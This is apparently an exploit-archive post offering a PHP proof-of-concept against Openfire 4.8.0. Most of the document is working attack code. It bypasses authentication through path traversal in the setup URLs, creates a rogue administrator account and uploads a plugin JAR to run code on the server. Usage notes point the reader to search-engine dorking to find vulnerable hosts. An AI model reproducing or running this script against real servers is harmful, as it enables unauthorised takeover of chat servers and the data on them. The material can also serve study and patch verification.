Openfire 4.8.0 Code Injection

`=============================================================================================================================================  
| # Title : Openfire release 4.8.0 Code Injection Vulnerability |  
| # Author : indoushka |  
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.2 (64 bits) |  
| # Vendor : https://www.igniterealtime.org/projects/openfire/ |  
=============================================================================================================================================  
  
POC :  
  
[+] Dorking İn Google Or Other Search Enggine.  
  
[+] uses the CURL to Allow remote command .  
  
[+] Line 115 set your target .  
  
[+] save code as poc.php .  
  
[+] USage : cmd => c:\www\test\php poc.php   
  
[+] PayLoad :  
  
<?php  
  
class OpenfireExploit  
{  
private $targetUrl;  
private $adminUsername;  
private $adminPassword;  
private $pluginName;  
private $csrfToken;  
  
public function __construct($targetUrl, $adminUsername = null, $adminPassword = null, $pluginName = null)  
{  
$this->targetUrl = rtrim($targetUrl, '/') . '/';  
$this->adminUsername = $adminUsername ?? $this->generateRandomString(8, 15);  
$this->adminPassword = $adminPassword ?? $this->generateRandomPassword(8, 10);  
$this->pluginName = $pluginName ?? $this->generateRandomString(8, 15);  
}  
  
private function generateRandomString($minLength, $maxLength)  
{  
$length = rand($minLength, $maxLength);  
return substr(str_shuffle("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"), 0, $length);  
}  
  
private function generateRandomPassword($minLength, $maxLength)  
{  
return bin2hex(random_bytes(rand($minLength, $maxLength) / 2));  
}  
  
private function sendRequest($method, $uri, $data = null, $headers = [])  
{  
$ch = curl_init();  
curl_setopt($ch, CURLOPT_URL, $this->targetUrl . $uri);  
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);  
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method);  
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);  
  
if ($data) {  
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);  
}  
  
return curl_exec($ch);  
}  
  
private function getCsrfToken()  
{  
$response = $this->sendRequest('GET', 'login.jsp');  
preg_match('/csrf=([^;]+)/', $response, $matches);  
return $matches[1] ?? null;  
}  
  
private function authBypass()  
{  
$this->sendRequest('GET', 'setup/setup-s/../../../../user-groups.jsp');  
// Check if we can access the user-groups.jsp page  
return $this->sendRequest('GET', 'setup/setup-s/../../../../user-groups.jsp') !== false;  
}  
  
private function addAdminUser()  
{  
$this->csrfToken = $this->getCsrfToken();  
  
$data = http_build_query([  
'csrf' => $this->csrfToken,  
'username' => $this->adminUsername,  
'password' => $this->adminPassword,  
'passwordConfirm' => $this->adminPassword,  
'isadmin' => 'on',  
'create' => 'Create User'  
]);  
  
return $this->sendRequest('POST', 'setup/setup-s/../../../../user-create.jsp', $data);  
}  
  
private function uploadPlugin($pluginFilePath)  
{  
$this->csrfToken = $this->getCsrfToken();  
  
$cfile = new CURLFile($pluginFilePath);  
$data = [  
'uploadfile' => $cfile,  
'csrf' => $this->csrfToken  
];  
  
$headers = ['Content-Type: multipart/form-data'];  
return $this->sendRequest('POST', 'plugin-admin.jsp', $data, $headers);  
}  
  
public function exploit()  
{  
if ($this->authBypass()) {  
echo "Authentication bypass successful.\n";  
  
if ($this->addAdminUser()) {  
echo "Admin user '{$this->adminUsername}' added successfully.\n";  
  
// Prepare plugin JAR file path  
$pluginJarPath = '/path/to/plugin.jar'; // Replace with actual path to the JAR file  
  
if ($this->uploadPlugin($pluginJarPath)) {  
echo "Plugin uploaded successfully.\n";  
} else {  
echo "Failed to upload plugin.\n";  
}  
} else {  
echo "Failed to add admin user.\n";  
}  
} else {  
echo "Authentication bypass failed.\n";  
}  
}  
}  
  
// Usage  
$exploit = new OpenfireExploit('http://target-openfire-url.com');  
$exploit->exploit();  
  
  
  
Greetings to :=====================================================================================  
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|  
===================================================================================================  
`